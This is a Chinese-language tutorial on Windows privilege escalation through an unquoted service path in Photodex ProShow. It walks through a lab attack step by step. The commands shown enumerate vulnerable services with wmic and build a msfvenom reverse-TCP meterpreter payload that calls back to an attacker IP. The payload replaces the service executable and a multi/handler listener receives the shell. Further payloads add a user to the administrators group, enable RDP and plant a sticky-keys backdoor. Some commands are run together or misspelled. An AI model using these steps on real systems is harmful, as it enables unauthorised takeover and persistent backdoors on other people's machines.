您好,登錄后才能下訂單哦!
這篇文章給大家分享的是有關Windows平臺下如何實現提權的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
這個漏洞跟可執行文件的路徑有關,如果文件名中存在空格,或者文件路徑沒有包裹在雙引號之中,那攻擊者就可以用惡意exe文件替換掉原本合法的exe文件,并實現提權。
目標主機:Windows 7
攻擊主機:Kali Linux
首先,我們需要在目標Windows系統中下載并安裝一個名叫photodex proshow的包含漏洞的應用程序,下載鏡像可以在Exploit DB上找到。
為了拿到meterpreter會話,我們至少要成功入侵目標Windows設備一次,你可以從下圖中看到,我們已經拿到了目標主機的meterpreter會話了。現在,打開命令Shell:
shell
你可以看到,我們拿到的shell訪問權是本地用戶local_user,為了拿到cmd的管理員權限,我們就需要提權。首先,我們可以枚舉出目標主機上正在運行的所有服務,并找出那些沒有被雙引號包裹的服務路徑,這一步可以用下列命令實現:
wmic service get name,displayname,pathname,startmode |findstr /i "auto"|findstr /i /v "c:\windows\\" |findstr /i /v """
這里,我們枚舉出了下列路徑:
C:\ProgramFiles\Photodex\ProShow Producer\Scsiaccess.exe
這個路徑沒有被雙引號包裹,而且文件名中也存在空格。
現在,我們需要使用下列命令識別文件目錄權限:
icacls Scsiaccess.exe
你可以看到,它給任何人都提供了寫入權限,這也就意味著任何用戶都可以重寫該文件:
現在,我們只需要把惡意exe放在同一文件夾內,它就自動擁有管理員權限了,當服務重啟之后,Windows將啟動這個惡意exe。
在Kali Linux中打開終端,然后通過下列命令使用msfvenom生成惡意exe Payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234prependmigrate=true prepenmigrateprocess=explorer.exe -f exe >/root/Desktop/scsiaccess.exe
上面的命令將在桌面生成一個惡意exe文件,然后將該文件發送給目標主機。Payload會嘗試遷移惡意進程,如果用戶通過進程ID終止了當前進程的運行,攻擊者也不會丟失會話和Payload的控制權。
現在,用惡意exe替換掉合法的可執行文件,這里我把合法Scsiaccess.exe重命名為了Scsiaccess.exe.orginal,并將惡意Scsiaccess.exe上傳到了同一文件夾內,然后重啟目標主機:
movescsiaccess.exe scsiaccess.exe.orginalupload/root/Desktop/ scsiaccess.exe
reboot:
與此同時,我在新的終端里開啟了多個handler監聽器來捕捉meterpreter會話:
use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) exploit
一段時間之后,我們就能夠拿到擁有管理員權限的shell了:
使用local_user權限生成了shell之后,我們就可以在沒有管理員權限的情況下枚舉完整的用戶名列表了。這里我們發現,用戶raaz不是管理員組的成員:
net usernet user raaz
同樣的,我們生成了一個exe文件,并用它來將用戶raaz添加到了管理員組中,我們生成的惡意exe文件名還是叫Scsiaccess.exe:
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe >/root/Desktop/scsiaccess.exe
重復上述步驟,用惡意exe文件替換掉同一目錄下的合法exe,然后重啟目標主機:
仔細看下面的截圖,你就會發現用戶raaz已經成為了管理員組成員了:
使用msfvenom生成一個相同文件名(Scsiaccess.exe)的exe文件,然后將其發送至目標主機,同時利用自動運行腳本開啟多個監聽器,這樣將會啟用RDP服務:
use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdpmsf exploit(multi/handler) exploit
類似的,當目標服務重啟之后,我們可以設置自動運行腳本來啟用sticky_keys:
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keysmsf exploit(multi/handler) run
你可以從下圖中看到,命令開啟了另一個meterpreter會話(session 3),這個會話擁有管理員權限,現在我們就可以通過RDP與目標主機建立連接了:
rdp 192.168.1.101
接下來,連續按下5次shift鍵,你將會拿到擁有管理員權限的命令行窗口:
感謝各位的閱讀!關于“Windows平臺下如何實現提權”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。